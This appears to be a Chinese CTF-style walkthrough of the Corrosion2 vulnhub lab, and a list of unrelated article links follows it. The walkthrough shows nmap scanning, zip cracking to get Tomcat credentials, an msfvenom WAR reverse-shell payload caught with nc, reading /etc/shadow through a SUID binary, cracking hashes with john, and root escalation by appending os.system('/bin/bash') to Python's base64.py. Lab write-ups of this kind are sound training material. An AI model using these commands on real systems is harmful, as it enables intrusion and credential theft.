vulhub打靶记录——Corrosion2

文章目录

  • 主机发现
  • 端口扫描
  • ssh—22
    • search openssh EXP
  • web服务—8080
    • 目录扫描
    • 登录tomcat后台
  • 提权
    • 切换用户
    • 查看用户权限
    • 寻找SUID命令
    • 破解登录密文
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.5:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.5 

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,远程登录协议))、80(http,web服务)、8080(http,web服务)。

ssh—22

search openssh EXP

searchsploit openssh # 搜索exp

在这里插入图片描述

web服务—8080

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.5 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
在目录扫描中发现了一些东西
1.192.168.151.5/readme.txt,发现这台主机的有一个用户为randy
在这里插入图片描述
2.192.168.151.5/backup.zip,有一个备份文件,发现加密了。
在这里插入图片描述

tomcat-users.xml中包含tomcat管理端所有用户的用户名和密码。

尝试用fcrackzip对zip文件进行解密,命令如下:

fcrackzip -D -p /usr/share/wordlist/rockyou.txt -u backup.zip
  • -D:表示使用字典对文件进行解析;
  • -p:表示字典路径;
  • -u:把密码显示在终端。

在这里插入图片描述
查看tomcat-users.xml的内容,可以发现两个用户名和相应的密码:

manager melehifokivai
admin melehifokivai

在这里插入图片描述

登录tomcat后台

拿到用户名和密码后,尝试区登录tomcat。点击manager app,并输入用户名和密码。

在这里插入图片描述

成功登录tomcat管理后台,登录进来是一个web项目发布的管理端。tomcat一般发布的是java的web工程,发布的形式的话,可以以目录的方式进行发布,也可以以WAR包的形式进行发布。也就是存在上传点!!!

在这里插入图片描述
使用msfvenom生成恶意程序(也可以用它对恶意程序加密加壳等),命令如下:Reverse Shell Generator

msfvenom -p java/shell_reverse_tcp LHOST=192.168.151.5 LPORT=4444 -f war -o shell.war
  • -p:需要使用的payload;
  • -f:输出格式;
  • -0:输出路径。
  • war包其实就跟zip压缩包差不多,可以直接使用unzip shell.war进行解压。

在这里插入图片描述

直接上传生成的shell.war,然后需要做的就是nc -nlvp 4444监听本地端口,访问192.168.151.5、shell即可reverse shell。

在这里插入图片描述
在这里插入图片描述

提权

使用下面的命令建立半交互式shell,发现并没有python(搞不定,先不搞咯)

python -c "import pty;pty.spawn("/bin/bash")"

在这里插入图片描述

切换用户

先进入/home,发现jaye、randy两个用户,因为我们有一个zip压缩包的密码、登录tomcat后台的密码,所以可以尝试用这两个密码去登录这两个用户。事实证明是可行的,jaye用户的密码就是tomcat登录密码。
在这里插入图片描述

查看用户权限

查看jaye用户的权限,发现当前用户不能使用sudo命令。

sudo -l # 查看当前用户是否具有sudo权限

在这里插入图片描述

寻找SUID命令

寻找具备SUID属性的程序(不知道的命令直接百度,看是不是系统自带的命令),这里发现了一个/home/jaye/Files/look程序具备SUID权限。

find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序,主要关注当前用户是不是可以以root用户去执行某些命令

在这里插入图片描述
这个look命令,大概意思就是找到文件中以指定字母开头的内容。
在这里插入图片描述

在这里插入图片描述

破解登录密文

尝试读取/etc/shadow文件,查看该系统所有用户的密码(密文)

look '' /etc/shadow # 空字符就代表查看文件中的所有内容

在这里插入图片描述
既然拿到密文,可以使用john去尝试破解密文。

echo '密文' >> pw.txt
john --wprdlist=/usr/share/wordlist/rockyou.txt pw.txt

在这里插入图片描述

su randy # 切换randy用户,密码为07051986randy
sudo -l # 查看randy用户的sudo权限

在这里插入图片描述
用户randy执行sudo /usr/bin/python3.8 /home/randy/randombase64.py时,是以root用户执行的。

ls -l /home/randy/randombase64.py # 查看权限,只有root用户具有可写权限
cat /home/randy/randombase64.py # 查看/home/randy/randombase64.py内容

在这里插入图片描述
查看文件内容,发现import base64,思路:在base64.py里加入os.system("/bin/bash"),这样在调用该文件的时候,就会获取root用户的shell
在这里插入图片描述

locate base64 # 定位base64文件
echo 'import os' >> randombase64.py
echo 'os.system("/bin/bash")' >> /usr/lib/python3.8/base64.py
sudo /usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述
最终提权成功
在这里插入图片描述

总结

  1. nmap端口扫描。发现靶机开放的服务;
  2. 对web服务进行目录扫描,发现8080端口的web服务存在备份文件backup.zip;
  3. 使用john对zip文件进行密码破解,
  4. 查看tomcat-users.xml文件,获得密码,再登录tomcat后台;
  5. msfvenom生成war包的后门文件,通过tomcat上传WAR;
  6. 监听端口,访问后门,获取webshell;
  7. 由之前获取的密码登录靶机,成功登录jaye用户;
  8. 寻找SUID程序,由look程序,查看/etc/shadow,破解randy用户密码;
  9. 切换randy用户,查看sudo用户权限,修改randombase64.py文件且添加/bin/bash,获取root用户的shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/798554.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

投资回报率ROI是什么意思?

投资回报率(Return on Investment)是判断公司经营活动中所使用的资本带来的真实利润高低的指标,它涵盖了企业的获利目标。 名词解释 投资回报率 Return on Investment 是判断公司经营活动中所使用的资本带来的真实利润高低的指标&#xff0…

真实对比kimi、通义千问、文心一言的写代码能力,到底谁强?

🤖AI改变生活:最近都在说月之暗面的kimi的各项能力吊打国内其他大模型,今天我们真实感受下 kimi、通义千问、文心一言的根据需求写代码的能力。 测评结果让人震惊! kimi kimi编程过程 我们先看一下热捧的月之暗面的kimi模型。 …

谷歌(Google)技术面试概述

概述 谷歌(Google)技术面试非常困难而且富有挑战性。想要获得电话面试,你需要将简历提交到他们的在线申请系统或者通过内部员工进行推荐。 假设你通过了简历审阅,招聘人员会联系你。通常情况下会有两次电话面试,如果…

【PyQt5篇】和子线程进行通信

文章目录 &#x1f354;使用QtDesigner进行设计&#x1f6f8;和子线程进行通信&#x1f388;运行结果 &#x1f354;使用QtDesigner进行设计 我们首先使用QtDesigner设计界面 得到代码login.ui <?xml version"1.0" encoding"UTF-8"?> <ui …

Win10 桌面上应用程序的图标快捷键失效都变成白色图标 怎么修复?

环境&#xff1a; Win10 专业版 问题描述&#xff1a; Win10 桌面上应用程序的图标快捷键失效都变成白色图标 怎么修复 解决方案&#xff1a; 1.资源管理器&#xff0c;把“隐藏的项目”的打钩去掉,打开隐藏文件 2.在文件资源管理器的地址栏输入%localappdata%快速访问这…

C顺序表:通讯录

目录 前言 通讯录数据结构 通讯录初始化 查找名字 增加联系人 删除联系人 展示所有联系人 查找联系人 修改信息 销毁通讯录 完整通讯录代码 前言 数据结构中的顺序表如果已经学会了&#xff0c;那么我们就可以基于顺序表来完成一个通讯录了 通讯录其实我们使用前…

Coding and Paper Letter(八十八)

系列重启之CPL。 1 Coding: 1.一个Python库用来分析城市路网的工具箱&#xff0c;城市形态分析工具。 Madina 2.SkyPilot&#xff1a;在任何云上运行 LLM、AI 和 Batch。 通过简单的界面即可实现最大程度的节省性能、最高的 GPU 可用性和托管执行。 skypilot 3.探索美国卫…

creo扫描杯子学习笔记

creo扫描杯子学习笔记 扫描2要素&#xff1a; 轨迹&#xff0c; 截面。 多用于曲线扫描&#xff0c;区别于拉伸命令。 大小自定 旋转扫描 抽壳 草绘把手 扫描把手 复制曲面 实例化切除 成型

NOI - OpenJudge - 2.5基本算法之搜索 - 2753:走迷宫 - 超级无敌详细题解(含多个不同算法AC代码)

点赞关注吧~ 2753:走迷宫 查看提交统计提问 总时间限制: 1000ms 内存限制: 65536kB 描述 一个迷宫由R行C列格子组成&#xff0c;有的格子里有障碍物&#xff0c;不能走&#xff1b;有的格子是空地&#xff0c;可以走。 给定一个迷宫&#xff0c;求从左上角走到右下角最…

08 | Swoole 源码分析之 Timer 定时器模块

原文首发链接&#xff1a;Swoole 源码分析之 Timer 定时器模块 大家好&#xff0c;我是码农先森。 引言 Swoole 中的毫秒精度的定时器。底层基于 epoll_wait 和 setitimer 实现&#xff0c;数据结构使用最小堆&#xff0c;可支持添加大量定时器。 在同步 IO 进程中使用 seti…

无法直接启动带有”类库输出类型“的项目。若要调试此项目,请向引用库项目的此解决方案中添加可执行项目将此可执行项目设置为启动项目,

当你尝试直接启动一个类库&#xff08;Class Library&#xff09;项目时&#xff0c;你会遇到这样的错误消息&#xff0c;因为类库项目本身不生成可执行文件&#xff08;如 .exe 文件&#xff09;&#xff0c;它们只是包含可以被其他程序或应用程序引用的代码。 为了调试类库项…

今年过去了多少天?(switch)

//今年已经过去了几天&#xff1f; #include <stdio.h> int monthday(int year,int month){switch(month){case 1:return 31;case 2:if ((year % 4 0 && year % 100 ! 0)||year % 400 0){return 29;}else{return 28;}break;case 3:return 31;case 4:return 30;…

C语言进阶课程学习记录-第24课 - #pragma 使用分析

C语言进阶课程学习记录-第24课 - #pragma 使用分析 #pragma实验-#pragma messagecmd窗口运行 实验-pragma oncebcc编译报错gcc编译成功global.h代码优化 #pragma pack实验BCC编译器输出 小结 本文学习自狄泰软件学院 唐佐林老师的 C语言进阶课程&#xff0c;图片全部来源于课程…

Php中依赖注入是怎样的

PHP依赖注入&#xff08;Dependency Injection&#xff0c;简称DI&#xff09;是一种设计模式&#xff0c;用于解决软件组件之间的耦合问题。在依赖注入中&#xff0c;一个对象的依赖项不是由对象本身创建或查找&#xff0c;而是由外部容器或调用者提供。这种方式使得对象更加模…

mysql乐观锁总结和实践:用version或者时间戳

谈到了MySQL悲观锁&#xff0c;但是悲观锁并不是适用于任何场景&#xff0c;它也有它存在的一些不足&#xff0c;因为 悲观锁大多数情况下依靠数据库的锁机制实现 &#xff0c;以保证操作最大程度的独占性。 如果加锁的时间过长&#xff0c;其他用户长时间无法访问&#xff0c;…

k8s1(1),Linux运维基础开发与实践

#设置主机名 hostnamectl hostnameXXX #配置免密(包括操作机) ssh-keygen ssh-copy-id master*/slave* #传输hosts cat > /etc/hosts <<EOF 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain loca…

【Qt 学习笔记】Qt 中出现乱码的解释及讨论

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt 中出现乱码的解释及讨论 文章编号&#xff1a;Qt 学习笔记 / 06 文…

工单派单-saas工单处理软件效益分析,智能解决企业管理痛点亿发

企业对引入工单管理系统是有迫切需求的&#xff0c;工单管理系统可以有效地管理任务和工作流程&#xff0c;提高工作效率和客户满意度。 在没有工单管理系统之前&#xff0c;许多企业可能面临着诸如任务分配不清晰、信息不透明、工作流程混乱等管理挑战。举例来说&#xff0c;…

C#.手术麻醉系统源码 手麻系统如何与医院信息系统进行集成?

C#.手术麻醉系统源码 手麻系统如何与医院信息系统进行集成&#xff1f; 手术麻醉系统与医院信息系统的集成是一个关键步骤&#xff0c;它有助于实现信息的共享和流程的协同&#xff0c;从而提高医疗服务的效率和质量。手麻系统与lis、his、pacs等系统的对接是医院信息化建设的重…

Leetcode 148. 排序链表

心路历程&#xff1a; 这道题通过很简单&#xff0c;但是如果想要用O(1)的空间复杂度O(nlogn)的时间复杂度的话&#xff0c;可能得需要双指针快排的思路。 解法&#xff1a;遍历模拟 # Definition for singly-linked list. # class ListNode: # def __init__(self, val0…